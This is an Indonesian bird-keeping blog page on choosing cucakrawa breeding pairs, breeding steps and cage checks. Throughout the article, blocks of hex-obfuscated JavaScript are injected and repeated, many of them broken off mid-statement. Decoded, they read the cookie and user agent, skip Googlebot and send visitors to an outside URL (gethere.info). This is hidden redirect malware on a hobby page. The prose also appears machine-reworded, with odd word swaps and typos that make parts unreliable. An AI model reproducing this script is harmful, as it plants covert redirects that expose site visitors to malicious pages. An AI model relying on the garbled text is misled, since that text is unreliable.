IBX5980432E7F390 Tutorial Memilih Calon Indukan Cucakrawa Bagus Kupas Triknya - Kicauan Burung Lovebird Ngekek

Tutorial Memilih Calon Indukan Cucakrawa Bagus Kupas Triknya

Cara Memilih Calon Indukan Cucakrawa Bagus

Cara menentukan calon indukan cucakrawa elok – Apabila kita ingin mendapatkan calon indukan cucakrawa yang baik, maka kita harus memilih calon indukan dengan benar dan teliti. Sebab, bila kita ceroboh dalam menentukan calon indukan maka bisa saja yang kita pilih tidak sesuai dengan apa yang kita inginkan.

Jika Anda tidak tahu cara menentukan calon indukan yang baik, mari kita simak penjelasan di bawah ini ihwal cara memilih calon indukan cuckarawa yang baik.Cara Memilih Calon Indukan Cucakrawa Bagus

Memperhatikan Kesehatan

Kesehatan merupakan hal yang paling utama saat memilih calon indukan. Calon indukan yang baik ialah yang mempunyai kesehatan yang baik pula.

Ketika kita menentukan calon indukan yang kurang sehat ataupun sakit-sakitan, maka saat sesampainya di kawasan tujuan bisa saja burung tersebut sakitnya bertambah parah ataupun bisa saja mati. Ini karena saat di perjalanan burung tidak mampu menahan hawa dingin yang masuk.

Ketika calon indukan ini dikawinkan pada kondisi yang sedang sakit, maka anakan yang dihasilkannya selama hidupnya akan sakit-sakitan.

Selain itu, ketika burung sedang sakit dijodohkan, maka burung tersebut akan membuat burung lainnya menjadi sakit juga karena virus yang ditularkannya tersebut.

Memperhatikan Kualitas Burung

Burung cucakrawa yang baik adalah yang mempunyai kualitas yang bagus. Memperhatikan kualitas disini maksudnya yaitu burung cucakrawa yang memiliki kualitas yang cantik, seolah-olah memperhatikan kualitas bunyi burung ataupun kualitas mentalnya.

Cucakrawa yang memiliki kualitas baik nantinya anakan yang dihasilkan akan berkualitas pula, seakan-akan indukannya yang berkualitas.

Memperhatikan Keseresasian Pasangan

Jika kita ingin membeli burung, niscayalah kita membelinya berpasangan. Apabila kita hanya membeli induk jantan ataupun betina maka mampu saja ketika kita menjodohkan indukan yang telah kita belikan dengan indukan yang lain tidak berjodoh.

Lain halnya apabila kita membeli indukan yang sudah berjodoh di penangkaran sebelumnya. Indukan yang telah berjodoh sebaiknya itulah yang kita pilih. Sebab, indukan yang sudah berjodoh akan membantu kita dalam mengawinkannya.

Memperhatikan Umur

Ketika kita membeli burung cucakraw maka perhatikanlah umurnya. Cucakraw yang sudah bau tanah tidak mampu dikawinkan lagi.

Sebab, cucakrawa yang bau tanah tidak mampu berproduksi telur sebanyak-banyaknya. Cucakrawa yang akan dikawinkan usahakan yang berumur diatas 2 setengah tahun.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)v400)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Ukuran Kandang Penangkaran Cucakrawa
  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Cara Menjinakan Burung Cucakrawa liar
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Tata Cara Penangkaran Cucakrawa
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Konstruksi Kandang Penangkaran Burung Cucakrawa

Tata Tutorial Penangkaran Cucakrawa

Tata cara penangkaran cucakrawa – Dalam menangkarkan cucakrawa, pastilah mempunyai tata cara tersendiri. Setiap penangkar pasti memiliki tata caranya tersendiri. Mungkin setiap penangkar berbeda-beda dalam cara menangkarkan cucakrawa.

Tetapi umumnya, inti dari cara menangkarkan cucakrawa itu sama saja. Cara menangkarkan burung cucakrawa ada beberapa tahapan-tahapan yang harus dilalui.Tata Tutorial Penangkaran Cucakrawa

Salah satunya yaitu dalam hal menentukan calon indukan. Calon indukan yang baik ialah yang berasal dari keluarga yang berkualitas. Disarankan menentukan calon indukan yang berasal dari keluarga berkualitas.

Tujuan pemilihan calon indukan yang berasal dari keluarga berkualitas yaitu supaya kita tahu kedepannya calon indukan yang sudah kita pilih berkualitas baik juga seperti pada keluarganya.

Selain itu, calon indukan yang baik juga akan menentukan bagaimana anakan yang akan dihasilkan dari calon indukan tersebut.

Jika calon indukannya baik maka anakan yang dihasilakannya juga akan baik seperti induknya. Sebaliknya, kalau calon indukannya saja sudah jelek, maka niscaya sifat tersebut akan menurun ke anakannya, jadi anakannya akan menjadi jelek pula.

Untuk itulah, pemilihan calon indukan akan menentukan bagaimana nasib usaha yang akan kita jalani.

Apakah akan berjalan dengan lancar dan dengan mempunyai burung cucakrawa yang baik atau malah sebaliknya akan berhenti di tengah jalan lantaran burung cucakrawa yang dihasilkan tidak sebaik apa yang kita inginkan.

Dalam menentukan calon indukan, niscayalah setiap orang berbeda-beda satu sama lainnya. Selain itu, terkadang kita memiliki kriteria tertentu dalam memilih cucakrawa. Beberapa kriteria tersebut akan kita bahas di bawah ini.

  • Keriteria yang pertama ialah mempunyai fisik sehat, besar, dan tidak cacat. Sehat disini maksudnya ialah sehat dalam semua hal. Termasuk pada tubuhnya yang tidak sakit-sakitan. Jika menerima burung yang sakit-sakittan.

  • Kriteria yang kedua adalah kedua burung calon indukan cucakrawa sudah siap kawin. Karena kita membuka usaha penangkaran tujuannya yaitu biar menerima cucakrawa yang baik dan banyak, maka calon indukan yang akan dibeli harus siap kawin. Tujuannya ialah supaya ketika sudah hingga dipenangkaran sudah mampu pribadi dikawinkan.

  • Dan keriteria yang terakhir ialah cucakrawa harus mempunyai bulu yang cerah dan baik. Bulu pada cucakrawa juga akan membuat harga jual burung ini menjadi naik.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ca)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)sh))(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Ciri Fisik Burung Cucakrawa Liar
  • Ukuran Kandang Penangkaran Cucakrawa
  • Perawatan Cucak Jenggot Bakalan,Anakan dan Dewasa
  • Cara Menjinakan Burung Cucakrawa liar
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Suara Master untuk Burung Cucakrawa Bakalan
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Perawatan Cucakrawa Ocehan Gacor Harian

Peralatan Kandang Burung Cucakrawa Dewasa

Peralatan sangkar burung cucakrawa cukup umur – Pengawasan kandang perlu dilakukan. Tujuannya adalah supaya peralatan kandang tetap terjaga dengan baik. Selain itu, bila peralatan kadnang ada yang rusak maka kita mampu menggantinya dengan yang baru.

Pengecekan kkandang diilakukan sekurang-kurangnya 5 kali dalam seminggu. Pengecekan kandang yagn baik bisa dilakukan setiap harinya.Peralatan Kandang Burung Cucakrawa Dewasa

Banyak hal yang harus diperhatikan dikala mengecek keadaan kandang. Di bawah ini akan dijelaskan beberapa hal yang harus diperhatikan dikala sedang mengecek keadaan sangkar burung cucakrawa.

Mengecek Tempat makan dan minum

Hal yang paling utama yang harus dicek ialah daerah makan dan minum. Makan yang sudah habis harus diisi kembali.

Jika terdapat makanan yang belum habis tetapi sudah kotor, segera buang makanan tersebut lalu ganti dengan pakan yang baru.

Jangan biarkan burung memakan pakan yang sudah tidak layak konsumsi lantaran dapat menyebabkan suatu penyakit pada burung cucakrawa.

Selain itu, aiar minum juga perlu diperhatikan. Jika terdapat aiar minum yang sudah kotor gantilah segera. Tempat air minum juga perlu dibersihkan.

Tujuannya adalah supaya tempat air minum tidadk ditumbuhi lumut. Air minumnya juga harus air yang sudah dimasak terlebih dahulu.

Mengecek Binatang Pengganggu

Jika kedapatan terdapat hewan penggangu di dalam kandang, jangan dibiarkan terlalu usang. Jika dibiarkan hewan penggangu di dalam kandang, akan berakibat fatal bagi burung cucakrawa itu sendiri.

Terutama bagi hewan pengganggu seolah-olah semut. Walaupun badannya yang kecil, tetapi kalau semut ini bersama dengan kawanannya maka semut mampu menyerang satu ekor cucakrawa. Jika dibairkan terlalu lama akan menciptakan burung menjadi mati.

Mengecek Atap Kandang

Atap kandang perlu diperhatikan juga. Jika terjadi kebocoran segeralah ganti atap kandang dengan atap yang baru. Tujuannya ialah supaya apabila huajn tiba, kandang tidak dimasuki oleh air hujan.

Jika itu terjadi, sangkar bisa berair dan kalau air hujan masuk terlalu banyak maka sangkar mampu saja banjir.

Jika kandang bocor, maka bisa saja burung akan terkena air hujan. Jika begitu burung akan kedinginan dan kesannya mampu saja menyebabkan janjkematian.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Perawatan Cucak Jenggot Bakalan,Anakan dan Dewasa
  • Habitat Penyebaran Burung Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Merawat Cucakrawa Sedang Bertelur
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Tata Tutorial Penangkaran Cucakrawa
  • Ukuran Kandang Penangkaran Cucakrawa
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Tutorial Memilih Calon Indukan Cucakrawa Bagus Kupas Triknya"

Posting Komentar